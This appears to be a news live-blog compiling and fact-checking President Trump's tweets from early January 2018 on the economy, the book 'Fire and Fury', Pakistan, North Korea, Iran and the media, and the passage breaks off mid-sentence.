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Trump tweet hails drop in unemployment rate for African Americans By Associated Press President Trump touted a drop in the unemployment rate for African Americans on Monday in a tweet. African American unemployment is the lowest ever recorded in our country. The Hispanic unemployment rate dropped a full point in the last year and is close to the lowest in recorded history. Dems did nothing for you but get your vote! #NeverForget @foxandfriends  Donald J. Trump (@realDonaldTrump) January 8, 2018 The rate fell to 6.8% in December, the lowest level since the government began tracking such data in 1972. The reasons range from a greater number of black Americans with college degrees to a growing need for employers in a tight job market to widen the pool of people they hire from. Trump also hailed the development via Twitter on Saturday. His latest tweet on the topic came about an hour after it was discussed during an episode of Fox & Friends, according to Mediaite. Facebook

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Trump talks up the economy and dresses down the media in Sunday tweets With President Trump cheering from the sidelines, the White House on Sunday pressed its defense of the presidents fitness to govern, as fired former aide Stephen K. Bannon reversed course and apologized for his role in a new books explosive portrait of Trump. The presidents critics, meanwhile, said Trumps stream of taunts and insults in response to the book  Fire and Fury: Inside the Trump White House, released last week  served only to underscore the authors unsettling portrayal of Trumps year-old presidency, depicting a leader whose own aides consider him childish, ignorant and dangerously erratic. Trump provided more ammunition Sunday morning, as he continued to attack the book via Twitter while preparing to depart Camp David for the White House: Leaving Camp David for the White House. Great meetings with the Cabinet and Military on many very important subjects including Border Security & the desperately needed Wall, the ever increasing Drug and Opioid Problem, Infrastructure, Military, Budget, Trade and DACA.  Donald J. Trump (@realDonaldTrump) January 7, 2018 Ive had to put up with the Fake News from the first day I announced that I would be running for President. Now I have to put up with a Fake Book, written by a totally discredited author. Ronald Reagan had the same problem and handled it well. So will I!  Donald J. Trump (@realDonaldTrump) January 7, 2018 The most vehement defense of Trump on Sunday came from senior advisor Stephen Miller, a onetime Bannon acolyte who distanced himself from his former mentor. In a combative appearance Sunday on CNNs State of the Union, Miller called the book grotesque and writer Michael Wolff the garbage author of a garbage book. Trump is known to closely monitor aides televised performances in putting forth his case, and he gleefully weighed in within moments of Millers televised clash with host Jake Tapper. CNN has long been a particular target of Trumps ire. Jake Tapper of Fake News CNN just got destroyed in his interview with Stephen Miller of the Trump Administration. Watch the hatred and unfairness of this CNN flunky!  Donald J. Trump (@realDonaldTrump) January 7, 2018 Trumps reaction, however, seemed to bolster Tappers on-air depiction of Miller as using his appearance on the show to play to the president rather than addressing questions put to him. I get it  theres one viewer that you care about, the host said exasperatedly after Miller turned the discussion repeatedly to negative news coverage of the president while deflecting specific queries. Later on Twitter, Trump took up two themes that have been prevalent on his social media feeds recently. The president again went after the news media, tweeting that the recipients of his self-proclaimed most dishonest & corrupt media awards of the year, which he promised earlier in the week to announce on Monday, would actually be revealed the following Wednesday: The Fake News Awards, those going to the most corrupt & biased of the Mainstream Media, will be presented to the losers on Wednesday, January 17th, rather than this coming Monday. The interest in, and importance of, these awards is far greater than anyone could have anticipated!  Donald J. Trump (@realDonaldTrump) January 7, 2018 Trump later lauded a New York Post opinion piece that compared him favorably with his predecessor, President Obama, as well as Democratic presidential nominee Hillary Clinton. In quoting the op-ed, Trump initally misspelled consequential as consensual, but he deleted those tweets and re-sent the messages. His is turning out to be an enormously consequential presidency. So much so that, despite my own frustration over his missteps, there has never been a day when I wished Hillary Clinton were president. Not one. Indeed, as Trumps accomplishments accumulate, the mere thought of...  Donald J. Trump (@realDonaldTrump) January 8, 2018 ...Clinton in the WH, doubling down on Barack Obamas failed policies, washes away any doubts that America made the right choice. This was truly a change election  and the changes Trump is bringing are far-reaching & necessary. Thank you Michael Goodwin! https://t.co/4fHNcx2Ydg  Donald J. Trump (@realDonaldTrump) January 8, 2018 Trump also continued talking up the economy, which has been enjoying a period of strong gains. The Stock Market has been creating tremendous benefits for our country in the form of not only Record Setting Stock Prices, but present and future Jobs, Jobs, Jobs. Seven TRILLION dollars of value created since our big election win!  Donald J. Trump (@realDonaldTrump) January 7, 2018 In addition to Miller, other senior administration officials made the rounds of Sunday news talk shows to decry the claims made in Wolffs book. CIA Director Mike Pompeo said Wolffs characterization of Trump as averse to digesting classified briefing material was ludicrous, and the ambassador to the United Nations, Nikki Haley, insisted that that those around Trump love their country and respect their president. Read More This post contains reporting from Times staff writer Laura King. Facebook

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Responding to book that mocks his intelligence, Trump tweets hes like, really smart By Tracy Wilkinson President Trump declared himself a very stable genius on Twitter on Saturday and later in a televised news conference called the author of a book that questioned his mental fitness a fraud. His comments came on a bone-cold day at Camp David during a weekend retreat with top administration officials and Republican congressional leaders strategizing on the years legislative agenda, including matters such as infrastructure, immigration, welfare reform and national security. Now that Russian collusion, after one year of intense study, has proven to be a total hoax on the American public, the Democrats and their lapdogs, the Fake News Mainstream Media, are taking out the old Ronald Reagan playbook and screaming mental stability and intelligence.....  Donald J. Trump (@realDonaldTrump) January 6, 2018 ....Actually, throughout my life, my two greatest assets have been mental stability and being, like, really smart. Crooked Hillary Clinton also played these cards very hard and, as everyone knows, went down in flames. I went from VERY successful businessman, to top T.V. Star.....  Donald J. Trump (@realDonaldTrump) January 6, 2018 ....to President of the United States (on my first try). I think that would qualify as not smart, but genius....and a very stable genius at that!  Donald J. Trump (@realDonaldTrump) January 6, 2018 Still, Trumps explosive rebuttal to author Michael Wolffs claims not only opened the day, but it also ensured the presidents capability to fill the highest office in the land was a topic that would not go away. In his early-morning tweets, Trump said two of his greatest assets have been mental stability, and being, like, really smart. He noted that his former Democratic rival, Hillary Clinton, played these cards [about competence] very hard and, as everyone knows, went down in flames. I went from VERY successful businessman, to top T.V. Star to President of the United States (on my first try). Read More Facebook

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In morning tweets, Trump touts job numbers and takes digs at news media By Associated Press President Trump used Twitter on Saturday morning to tout a drop in the unemployment rate for African Americans. He also used the tweets as an opportunity to take digs at media outlets whose past coverage he has found to be critical. The African American unemployment rate fell to 6.8%, the lowest rate in 45 years. I am so happy about this News! And, in the Washington Post (of all places), headline states, Trumps first year jobs numbers were very, very good.  Donald J. Trump (@realDonaldTrump) January 6, 2018 The unemployment rate for African Americans fell to 6.8% in December, the lowest level since the government began tracking such data in 1972. The reasons range from a greater number of black Americans with college degrees to a growing need for employers in a tight job market to widen the pool of people they hire from. Still, the rate for black workers remains well above those for whites and some other groups, something experts attribute in large part to decades of discrimination and disadvantages. Robust job creation has lowered unemployment for all Americans. U.S. employers added nearly 2.1 million jobs in 2017  the seventh straight year that hiring has topped 2 million. In his tweet, Trump praised a report that noted the numbers, touting the fact that it appeared in the Washington Post (of all places). Minutes later, Trump renewed his attack on an ABC News reporter who was suspended last month after filing an erroneous report on Michael Flynn, Trumps former national security advisor. Brian Ross, the reporter who made a fraudulent live newscast about me that drove the Stock Market down 350 points (billions of dollars), was suspended for a month but is now back at ABC NEWS in a lower capacity. He is no longer allowed to report on Trump. Should have been fired!  Donald J. Trump (@realDonaldTrump) January 6, 2018 The reporter, Brian Ross, was reportedly reassigned within ABC News upon returning from his unpaid suspension. But on Saturday, Trump wrote that he should have been fired. Trumps tweets came hours before he was set to host congressional Republicans and administration officials at Camp David. The meeting scheduled to begin at midmorning Saturday was expected to touch on the budget, infrastructure, immigration, welfare reform and the shape of the midterm election this fall. Facebook

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Trump commends Sen. Rand Paul after he proposes eliminating all U.S. aid to Pakistan President Trump commended Sen. Rand Paul after the Kentucky Republican announced plans to introduce legislation that would eliminate all U.S. aid to Pakistan. Trump tweeted Friday night: Good idea Rand! https://t.co/55sqUDiC0s  Donald J. Trump (@realDonaldTrump) January 6, 2018 On Thursday, the Trump administration announced it was suspending security assistance to Islamabad until the country moves aggressively against local militants who have attacked U.S. troops in neighboring Afghanistan. Trump has repeatedly expressed frustration at the apparent inability of Pakistani authorities to rein in militants who cross out of the countrys rugged tribal areas to attack U.S. troops in Afghanistan. Read More This post contains reporting from Times staff writer Tracy Wilkinson. Facebook

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Trump continues to lash out at Sloppy Steve Bannon in tweets on tell-all book By Associated Press President Trump is praising a major Republican donor family for distancing themselves from his former advisor Steve Bannon. Trump tweeted Friday: The Mercer Family recently dumped the leaker known as Sloppy Steve Bannon. Smart!  Donald J. Trump (@realDonaldTrump) January 5, 2018 Trump has continued to lash out at Bannon over an explosive new book that quoted his former aide as questioning Trumps competence and describing a June 2016 meeting at Trump Tower among Donald Trump Jr., Trump campaign aides and a Russian lawyer as treasonous and unpatriotic. On Thursday, billionaire GOP donor Rebekah Mercer issued a statement distancing her family from Bannon. Mercer is a co-owner of Breitbart, the populist website Bannon helps run. I support President Trump and the platform upon which he was elected, Mercer said. My family and I have not communicated with Steve Bannon in many months and have provided no financial support to his political agenda, nor do we support his recent actions and statements. The book, Fire and Fury: Inside the Trump White House, quickly shot atop Amazons best-seller list, and the publisher moved up its release date by four days, to Friday. Trump took up the topic again on Twitter on Friday night, denouncing both Bannon and the books author, Michael Wolff, in starkly personal terms: Michael Wolff is a total loser who made up stories in order to sell this really boring and untruthful book. He used Sloppy Steve Bannon, who cried when he got fired and begged for his job. Now Sloppy Steve has been dumped like a dog by almost everyone. Too bad! https://t.co/mEeUhk5ZV9  Donald J. Trump (@realDonaldTrump) January 6, 2018 Trumps message linked to a meme depicting a parody book cover titled, Liar and Phony, that featured a photo of Wolff and disparaging quotes about the author. In a tweet sent earlier Friday morning, Trump suggested the book was intended to serve as a distraction from the FBIs investigation into possible collusion between the Trump campaign and Russia, which Trump wrote is proving to be a total hoax. Well, now that collusion with Russia is proving to be a total hoax and the only collusion is with Hillary Clinton and the FBI/Russia, the Fake News Media (Mainstream) and this phony new book are hitting out at every new front imaginable. They should try winning an election. Sad!  Donald J. Trump (@realDonaldTrump) January 5, 2018 That came amid reports that Trump directed his White House counsel to tell Atty. Gen. Jeff Sessions to not recuse himself from the Justice Departments Russia investigation. Trumps effort to keep Sessions, a vocal and loyal supporter of his election bid, in charge of an investigation into his campaign offers special counsel Robert Mueller yet another avenue to explore as his prosecutors work to untangle potential evidence of obstruction. Read More Facebook

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Trump praises the economy ahead of meetings at Camp David By Associated Press President Trump is praising the strength of the U.S. economy ahead of meetings at Camp David with congressional Republicans. Trump tweeted early Friday: Dow goes from 18,589 on November 9, 2016, to 25,075 today, for a new all-time Record. Jumped 1000 points in last 5 weeks, Record fastest 1000 point move in history. This is all about the Make America Great Again agenda! Jobs, Jobs, Jobs. Six trillion dollars in value created!  Donald J. Trump (@realDonaldTrump) January 5, 2018 The president also told reporters on the South Lawn that the tax cuts are really kicking in after Congress passed a package of tax cuts at the end of 2017. And the president praised the December jobs report, which found U.S. employers added 148,000 jobs in December and the unemployment rate stayed at 4.1%, the lowest level since 2000. The modest but steady pace of hiring is a reassuring sign for investors who have been buoyed by the just-passed Republican tax plan and have been sending stock market indexes roaring to uncharted heights. The president is meeting with Republican congressional leaders and members of his Cabinet on Friday and Saturday to discuss the 2018 agenda. Read More Facebook

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Trump tweets as Dow crashes through 25,000 By Associated Press President Trump dispatched a congratulatory tweet as the Dow Jones industrial average rose above the 25,000-point mark Thursday, just five weeks after its first close above 24,000. Dow just crashes through 25,000. Congrats! Big cuts in unnecessary regulations continuing.  Donald J. Trump (@realDonaldTrump) January 4, 2018 After the Dow closed above 25,000, Trump shared a graphic depicting the stock indexs record-setting rise. MAKING AMERICA GREAT AGAIN! pic.twitter.com/iONbr1DkVk  Donald J. Trump (@realDonaldTrump) January 5, 2018 Later in the day, the president was back on Twitter, complaining that news outlets had barely covered the stock market milestone. He suggested that the strength of the economy would be the biggest story on earth, had it unfolded during the presidency of his predecessor. The Fake News Media barely mentions the fact that the Stock Market just hit another New Record and that business in the U.S. is booming...but the people know! Can you imagine if O was president and had these numbers - would be biggest story on earth! Dow now over 25,000.  Donald J. Trump (@realDonaldTrump) January 5, 2018 The Dow broke past 1,000-point barriers in 2017 on its way to a 25% gain for the year, as an eight-year rally since the Great Recession continued to confound skeptics. Strong global economic growth and good prospects for higher company earnings have analysts predicting more gains, although the market may not stay as calm as it has been recently. The Dow has made a rapid trip since it reached 24,000 points Nov. 30, partly on enthusiasm over passage of the Republican-backed tax package, which could boost company profits this year with across-the-board cuts to corporate taxes. Read More Facebook

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Trump reacts to Fire and Fury book in tweet lashing out at author and Sloppy Steve President Trump lashed out at the author of a soon-to-be-released book about the chaotic first year of his presidency Thursday night. In a tweet, Trump called Fire and Fury: Inside the Trump White House, a phony book and claimed that hed never spoken to its author, Michael Wolff. Look at this guys past and watch what happens to him and Sloppy Steve! Trump wrote. He appeared to be referring to former White House chief strategist Stephen K. Bannon, whose stunning criticisms of Trump and his circle figure prominently in the title. I authorized Zero access to White House (actually turned him down many times) for author of phony book! I never spoke to him for book. Full of lies, misrepresentations and sources that dont exist. Look at this guys past and watch what happens to him and Sloppy Steve!  Donald J. Trump (@realDonaldTrump) January 5, 2018 Trumps tweet came hours after he had his lawyer demand that Henry Holt & Co. and Wolff stop publication the book. Instead, the publisher expedited the books release to Friday, four days before it was slated to hit bookstore shelves, in response to unprecedented demand. Published excerpts on Wednesday and Thursday whetted that appetite and roiled Washington. Bannons comments, including that it was treasonous and unpatriotic for Trumps son Donald Trump Jr., son-in-law Jared Kushner and campaign manager Paul Manafort to have met in 2016 with Russians said to have dirt on Democratic rival Hillary Clinton, prompted Trump on Wednesday to rebuke his former advisor, saying Bannon had lost his mind. Read More This post contains reporting from Times staff writers Brian Bennett and Alex Wigglesworth. Facebook

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Trump thanks senators who attended meeting on immigration President Trump tweeted thanks to Republican senators who attended a meeting about possible immigration legislation on Thursday. In his message, Trump also listed his top priorities when it comes to any type of overhaul of the nations immigration system. Thank you to the great Republican Senators who showed up to our mtg on immigration reform. We must BUILD THE WALL, stop illegal immigration, end chain migration & cancel the visa lottery. The current system is unsafe & unfair to the great people of our country - time for change!  Donald J. Trump (@realDonaldTrump) January 4, 2018 Trumps tweet echoed his remarks at the beginning of Thursdays meeting, when he insisted again that constructing a border wall and overhauling two legal immigration programs must be part of any deal with Democrats to protect the so-called Dreamers from deportation. Two-year deportation protections and work permits given under the Deferred Action for Childhood Arrivals program begin to expire March 6 under an executive order. Trump announced in September that he was ending the Obama-era program, but told Congress to draft a law to continue protections for people brought to the country illegally as children  a group that has widespread public support. Read More This post contains reporting from Times staff writer Brian Bennett. Facebook

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Trump resumes Twitter war against kneeling NFL players President Trump has resumed his Twitter war against NFL players who kneel during the national anthem to protest social injustice and racial inequality. In a tweet early Thursday, Trump replied to a supporter who shared a meme that appears to depict family members lying on the grave of a fallen soldier with the caption: This is why we stand. Show this picture to the NFL players who still kneel! Trump wrote. So beautiful....Show this picture to the NFL players who still kneel! https://t.co/tJLM1tvbvb  Donald J. Trump (@realDonaldTrump) January 4, 2018 The president has denounced players who kneel during the anthem in previous tweets. Hes also called for the firing of players who do so. His latest message came amid news that the NFL finished the regular season with TV ratings that fell nearly 10% below the previous season. Analysts attribute the drop to controversies facing the league, as well as changing viewing habits and a possible saturation point in the number of games available. Read More This post contains reporting from Times staff writers Stephen Battaglio and Alex Wigglesworth. Facebook

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Trump credits himself with facilitating talks between North and South Korea By Associated Press President Trump says his tough stance on nuclear weapons on the Korean peninsula is helping push North Korea and South Korea to talk. Trump tweeted early Thursday: With all of the failed experts weighing in, does anybody really believe that talks and dialogue would be going on between North and South Korea right now if I wasnt firm, strong and willing to commit our total might against the North. Fools, but talks are a good thing!  Donald J. Trump (@realDonaldTrump) January 4, 2018 That assertion is in conflict with some of the presidents own statements. Last year, he ridiculed Secretary of State Rex Tillerson for talking about negotiations with the North. This week, Trump seemed open to the possibility of an inter-Korean dialogue after North Korean leader Kim Jong Un made a rare overture toward South Korea in a New Years Day address. But Trumps ambassador to the United Nations insisted that talks wont be meaningful unless the North is getting rid of its nuclear weapons. The overture about talks came after Trump and Kim traded more bellicose claims about their nuclear weapons. In his New Years Day address, Kim repeated fiery nuclear threats against the United States. Kim said he has a nuclear button on his office desk and warned that the whole territory of the U.S. is within the range of our nuclear strike. Trump mocked that assertion Tuesday evening in a tweet. Facebook

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After disbanding his vote fraud panel, Trump still says voting system is rigged By Brian Bennett One day after disbanding his troubled voter fraud commission without any findings of fraud, President Trump continued to call the U.S. voting system rigged and said states should require that Americans have voter-identification cards. In two tweets on Thursday morning, Trump blamed the commissions failure on the lack of cooperation from mostly Democrat States that refused to hand over voter rolls because they know that many people are voting illegally. However, voting supervisors in Republican-led states refused as well, objecting on privacy and other grounds. Many mostly Democrat States refused to hand over data from the 2016 Election to the Commission On Voter Fraud. They fought hard that the Commission not see their records or methods because they know that many people are voting illegally. System is rigged, must go to Voter I.D.  Donald J. Trump (@realDonaldTrump) January 4, 2018 As Americans, you need identification, sometimes in a very strong and accurate form, for almost everything you do.....except when it comes to the most important thing, VOTING for the people that run your country. Push hard for Voter Identification!  Donald J. Trump (@realDonaldTrump) January 4, 2018 Despite Trumps assertions, analysts have not found evidence of widespread voter fraud. Trump created the Presidential Advisory Commission on Election Integrity in May after alleging, without proof, that millions of illegal votes were cast for Hillary Clinton in the 2016 election. Trump was elected after winning a majority in the electoral college, but the nationwide count showed Clinton received nearly 3 million more votes. The commission sought personal data on voters across the country and faced mounting lawsuits in recent months over privacy concerns. Read More Facebook

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Trump touts another good day for stocks, credits tax cut By Associated Press President Trump touted another good day for the stock market Wednesday in a tweet. Stock Market had another good day but, now that the Tax Cut Bill has passed, we have tremendous upward potential. Dow just short of 25,000, a number that few thought would be possible this soon into my administration. Also, unemployment went down to 4.1%. Only getting better!  Donald J. Trump (@realDonaldTrump) January 4, 2018 Big gains for technology and healthcare stocks helped U.S. indexes set records again Wednesday. Some analysts attributed the surge to investor enthusiasm for Trumps $1.5-trillion tax cut. All told, Wall Street analysts estimate the tax package should boost earnings for companies in the Standard & Poors 500 index by roughly 8% this year. Thats much more generous than the average tax cut of 1.6% that middle-class families will receive, according to the Tax Policy Center. MAKE AMERICA GREAT AGAIN!  Donald J. Trump (@realDonaldTrump) January 4, 2018 The public has been less enthusiastic about the tax law. A Monmouth University poll last month found that nearly half of Americans disapproved of it, with only 26% in support. Still, as Trump also noted on Twitter, some workers have seen a benefit: So far, dozens of companies have announced bonuses and higher minimum wages as a result of the tax cut. AT&T, Comcast, Bank of America, and American Airlines have all pledged to pay $1,000 bonuses to their employees. Some 40 U.S. companies have responded to President Trumps tax cut and reform victory in Congress last year by handing out bonuses up to $2,000, increases in 401k matches and spending on charity, a much higher number than previously known. https://t.co/bmWrwWzxMR  Donald J. Trump (@realDonaldTrump) January 4, 2018 Investors also appear less concerned than many politicians about how the additional profits will be used. The Trump administration says it expects companies will plow much of the extra profit back into their businesses, purchasing more software, machinery, and other equipment. Those investments will make workers more productive and provide a key boost to the economys long-run growth. They should also boost wages and salaries for employees. Opponents of the tax law respond that companies are more likely to pass the windfall on to shareholders in the form of higher dividend payments and share buybacks, which raise the price of those shares still in investors hands. Previous cuts in corporate tax rates, in the United States and overseas, havent always led to higher wages. For Wall Street, its all good, at least in the short run. Most analysts take the view that either way, companies and the economy will benefit. Facebook

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Trump reacts to death of Mormon Church president By Associated Press President Trump mourned the death of Mormon Church leader Thomas S. Monson on Wednesday evening. Trump tweeted a link to a statement in which he said that Monson demonstrated wisdom, inspired leadership, and great compassion and delivered a message of optimism, forgiveness, and faith. Melania and I are deeply saddened by the death of Thomas S. Monson, a beloved President of the Church of Jesus Christ of Latter-day Saints...https://t.co/ETD3fWtfU3  Donald J. Trump (@realDonaldTrump) January 4, 2018 A church bishop at the age of 22, Monson became the youngest church apostle ever in 1963 at the age of 36. He served as a counselor for three church presidents before assuming the role of the top leader of the Church of Jesus Christ of Latter-day Saints in February 2008. After a life of church service, Monson died Tuesday at his home in Salt Lake City, according to church spokesman Eric Hawkins. He was 90. Read More Facebook

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Trump tweets that Iranian protesters will see great U.S. support at the appropriate time By Associated Press President Trump continued to express support for Irans anti-government protesters on Wednesday. In a tweet, Trump commended the protesters and pledged that the United States will support them at the appropriate time. Such respect for the people of Iran as they try to take back their corrupt government. You will see great support from the United States at the appropriate time!  Donald J. Trump (@realDonaldTrump) January 3, 2018 Trumps tweet Wednesday morning came as Iranian Ambassador Gholamali Khoshroo sent a letter to United Nations officials complaining that Washington was intervening in a grotesque way in Irans internal affairs. The President and Vice-President of the United States, in their numerous absurd tweets, incited Iranians to engage in disruptive acts, the ambassador wrote to the U.N. Security Council president and U.N. Secretary-General Antonio Guterres. The U.S. didnt immediately respond to the letter, which maintains that Washington has crossed every limit in flouting rules and principles of international law governing the civilized conduct of international relations. At least 21 people have been killed and hundreds arrested in Iran during a week of anti-government protests and unrest over economic woes and official corruption. Meanwhile, tens of thousands of people took part in counter-demonstrations Wednesday backing the clerically overseen government, which has said enemies of Iran are fomenting the protests. Trump has unleashed a series of tweets in recent days backing the protesters, saying Iran is failing at every level and declaring that it is time for change in the Islamic Republic. Facebook

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Trump congratulates Sen. Orrin Hatch upon news of his retirement By Associated Press President Trump congratulated Sen. Orrin Hatch for an absolutely incredible career upon news of Hatchs impending retirement. In a tweet Tuesday afternoon, Trump called Hatch a tremendous supporter and wrote that he will be greatly missed in the Senate. Congratulations to Senator Orrin Hatch on an absolutely incredible career. He has been a tremendous supporter, and I will never forget the (beyond kind) statements he has made about me as President. He is my friend and he will be greatly missed in the U.S. Senate! pic.twitter.com/0VjzLEeHTl  Donald J. Trump (@realDonaldTrump) January 2, 2018 Hatchs decision to retire from the Senate after four decades lets the Utah Republican walk away at the height of his power after helping to push through an overhaul of the tax code and persuading Trump to downsize two national monuments. Retirement also preserves the 83-year-olds legacy by allowing him to avoid a bruising reelection battle that would have broken his promise not to seek an eighth term. Read More Facebook

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Trump tweet exaggerates progress in improving veterans care By Associated Press President Trump played up tremendous progress in improving care for veterans in his first year on Tuesday in a tweet. His message linked to an Instagram video describing eight accomplishments that show Trump is fighting for our veterans. But it overstates the impact of these steps. We will not rest until all of Americas GREAT VETERANS can receive the care they so richly deserve. Tremendous progress has been made in a short period of time. Keep up the great work @SecShulkin @DeptVetAffairs! https://t.co/ir25vW15hx pic.twitter.com/OtuzIgxMn6  Donald J. Trump (@realDonaldTrump) January 2, 2018 Of the eight achievements cited, two are ceremonial proclamations recognizing National Veterans and Military Families Month and National Pearl Harbor Remembrance Day. Two are pieces of legislation that extended the troubled Veterans Choice program on a temporary basis. This became necessary because the Trump administration repeatedly miscalculated the amount of taxpayer dollars available to pay for care from private doctors outside the Veterans Affairs system when veterans had to endure long waits for treatment at VA medical centers. The departments poor budget planning caught lawmakers off guard. A fifth claim involves telehealth, a step letting doctors practice medicine across state lines using digital technology. Announced in August, it has yet to take full effect because a proposed VA regulation hasnt been completed. The VA wants authority to practice across state lines to come from legislation, not a regulation. On Wednesday, the Senate approved a telehealth measure that now goes to the House. A sixth claim refers to legislation that streamlines the appeals process for disability compensation claims within the VA. This step has had limited effect so far because it applies to new disability claims, not the 470,000 pending claims. The last two initiatives make it easier for the VA to discipline employees. The department has pointed to more than 1,300 employees who have been fired under Trumps watch. Because their infractions are not detailed in public documents, the effect on veterans care is not fully known. Facebook

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Trump unleashes his first tweetstorm of 2018 By Noah Bierman President Trump clearly didnt resolve to change his Twitter habits this year. With nine disparate tweets over three hours on Tuesday morning, the first working day of 2018, Trump continued to exploit social media to be the most aggressive commentator in chief in American history. For any other president, his posts would have made for a monumental day of (mis-)statements. Yet for Trump, the series  attacks on political foes and media, provocations of foreign leaders and self-praise for events he had nothing to do with  was all but unremarkable. His Twitter barrage  sent between 7:09 a.m. and 10:16 a.m.  reflected a familiar gamut after nearly a year in office: Attacks on political foes: Nearly 14 months after his election, Trump called for the jailing of Huma Abedin, Crooked Hillary Clintons top aid (his misspelling, another occasional feature of Trump tweets). Crooked Hillary Clintons top aid, Huma Abedin, has been accused of disregarding basic security protocols. She put Classified Passwords into the hands of foreign agents. Remember sailors pictures on submarine? Jail! Deep State Justice Dept must finally act? Also on Comey & others  Donald J. Trump (@realDonaldTrump) January 2, 2018 In the same tweet, he disparaged the Deep State Justice Dept, headed of course by his appointees, calling on it to act against James B. Comey, the FBI director he fired for investigating the Russia thing. Diplomatic provocations: Trump again called North Korean leader Kim Jong Un Rocket man, ridiculed the volatile nuclear-armed foe for recent military defections and openly speculated about potential talks between North and South Korea. Sanctions and other pressures are beginning to have a big impact on North Korea. Soldiers are dangerously fleeing to South Korea. Rocket man now wants to talk to South Korea for first time. Perhaps that is good news, perhaps not - we will see!  Donald J. Trump (@realDonaldTrump) January 2, 2018 Perhaps that is good news, perhaps not  we will see! Trump wrote. Later Tuesday, Trump tweeted: North Korean Leader Kim Jong Un just stated that the Nuclear Button is on his desk at all times. Will someone from his depleted and food starved regime please inform him that I too have a Nuclear Button, but it is a much bigger & more powerful one than his, and my Button works!  Donald J. Trump (@realDonaldTrump) January 3, 2018 Also later Tuesday, Trump tweeted an attack on Pakistan, his second in as many days, and added a new one against Palestinians: It's not only Pakistan that we pay billions of dollars to for nothing, but also many other countries, and others. As an example, we pay the Palestinians HUNDRED OF MILLIONS OF DOLLARS a year and get no appreciation or respect. They dont even want to negotiate a long overdue...  Donald J. Trump (@realDonaldTrump) January 2, 2018 ...peace treaty with Israel. We have taken Jerusalem, the toughest part of the negotiation, off the table, but Israel, for that, would have had to pay more. But with the Palestinians no longer willing to talk peace, why should we make any of these massive future payments to them?  Donald J. Trump (@realDonaldTrump) January 2, 2018 Undermining media: Trump offered Congratulations! to A.G. Sulzberger, who took over as publisher of the New York Times this week. The Failing New York Times has a new publisher, A.G. Sulzberger. Congratulations! Here is a last chance for the Times to fulfill the vision of its Founder, Adolph Ochs, to give the news impartially, without fear or FAVOR, regardless of party, sect, or interests involved. Get...  Donald J. Trump (@realDonaldTrump) January 2, 2018 ....impartial journalists of a much higher standard, lose all of your phony and non-existent sources, and treat the President of the United States FAIRLY, so that the next time I (and the people) win, you wont have to write an apology to your readers for a job poorly done! GL  Donald J. Trump (@realDonaldTrump) January 2, 2018 But the two-part post was really yet another slam against a perceived media foe: Trump said the paper had a last chance to fulfill its journalistic mission, and accused it of relying on phony sources and substandard reporters  just days after he granted another exclusive interview to the paper. As a bonus, the tweet contained a recycled falsehood, that the paper apologized after the election for reporting on him unfairly. It didnt. Trump later said on Twitter that he would soon announce the most dishonest & corrupt media awards of the year. Stay tuned! I will be announcing THE MOST DISHONEST & CORRUPT MEDIA AWARDS OF THE YEAR on Monday at 5:00 oclock. Subjects will cover Dishonesty & Bad Reporting in various categories from the Fake News Media. Stay tuned!  Donald J. Trump (@realDonaldTrump) January 3, 2018 The president also tweeted a quote from Fox Business Networks Lou Dobbs Tonight, which aired a segment praising Trumps first-year accomplishments. Dobbs reportedly joined Trump at Mar-a-Lago on Sunday for a gala to celebrate New Years Eve. President Trump has something now he didnt have a year ago, that is a set of accomplishments that nobody can deny. The accomplishments are there, look at his record, he has had a very significant first year. @LouDobbs Show,David Asman & Ed Rollins  Donald J. Trump (@realDonaldTrump) January 3, 2018 Taking credit: Trump congratulated himself for policing the border with Mexico, an area where his policies and anti-immigration rhetoric are believed to have had some effect on reducing illegal crossings. Thank you to Brandon Judd of the National Border Patrol Council for your kind words on how well we are doing at the Border. We will be bringing in more & more of your great folks and will build the desperately needed WALL! @foxandfriends  Donald J. Trump (@realDonaldTrump) January 2, 2018 He took credit for employee bonuses by companies after he signed Republican tax cuts into law last month. Companies are giving big bonuses to their workers because of the Tax Cut Bill. Really great!  Donald J. Trump (@realDonaldTrump) January 2, 2018 But the jaw-dropper was Trump congratulating himself for planes not crashing. Since taking office I have been very strict on Commercial Aviation. Good news - it was just reported that there were Zero deaths in 2017, the best and safest year on record!  Donald J. Trump (@realDonaldTrump) January 2, 2018 It was the safest year on record worldwide, but the American streak without commercial jet passenger deaths goes back to 2009. Trump, who has promoted deregulation as one of his top accomplishments, has not signed off on any new airline safety regulations. The White House pointed to new security screening of passengers, to electronic devices to prevent terrorist attacks and to Trumps support for privatizing air traffic control  a proposal that has gotten nowhere in Congress. Falsehoods: Trump said President Obama, in brokering the 2015 nuclear arms limitation deal with Iran, foolishly gave money to the brutal and corrupt Iranian regime. He didnt. The people of Iran are finally acting against the brutal and corrupt Iranian regime. All of the money that President Obama so foolishly gave them went into terrorism and into their pockets. The people have little food, big inflation and no human rights. The U.S. is watching!  Donald J. Trump (@realDonaldTrump) January 2, 2018 The nuclear deal, which included major U.S. allies as signators, released Irans own funds that had long been frozen. Trumps art of the deal: When Trump sees a big deal looming, he often blasts the other side  to gain leverage, as hes written. This week he resumes a showdown with Democratic lawmakers over funding the government and immigration protections for so-called Dreamers, who were brought to the country illegally as children. Democrats are doing nothing for DACA - just interested in politics. DACA activists and Hispanics will go hard against Dems, will start falling in love with Republicans and their President! We are about RESULTS.  Donald J. Trump (@realDonaldTrump) January 2, 2018 Trump, who in September ordered a gradual end of the Deferred Action for Childhood Arrivals program, sought to shift blame for the resulting controversy, saying Democrats are doing nothing for DACA and are just interested in politics. Trump has insisted that any help for Dreamers be paired with funding for a border wall and a crackdown on legal immigration. Democrats, and some Republicans, are opposed. Read More Facebook

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In tweet, Trump suggests U.S. will withdraw financial assistance to Pakistan By Shashank Bengali Pakistan lashed out Monday after President Trump accused its leaders of lies & deceit and suggested the United States would withdraw financial assistance to the nuclear-armed nation it once saw as a key ally against terrorism. It was the presidents latest broadside against Pakistan after a speech in August in which he demanded its leaders crack down on the safe havens enjoyed by Taliban militants fighting U.S.-backed forces in neighboring Afghanistan. The United States has foolishly given Pakistan more than 33 billion dollars in aid over the last 15 years, and they have given us nothing but lies & deceit, thinking of our leaders as fools. They give safe haven to the terrorists we hunt in Afghanistan, with little help. No more!  Donald J. Trump (@realDonaldTrump) January 1, 2018 U.S. Ambassador David Hale was summoned to the Foreign Ministry to discuss the presidents statement, U.S. Embassy spokesman Richard Snelsire said. Pakistan lodged a strongly worded protest and asked for clarification about Trumps comments, according to two foreign office officials who spoke on condition of anonymity because they were not authorized to speak publicly. Pakistans prime minister, Shahid Khaqan Abbasi, called a Cabinet meeting for Tuesday and a meeting of the National Security Committee on Wednesday to discuss Trumps New Years Day 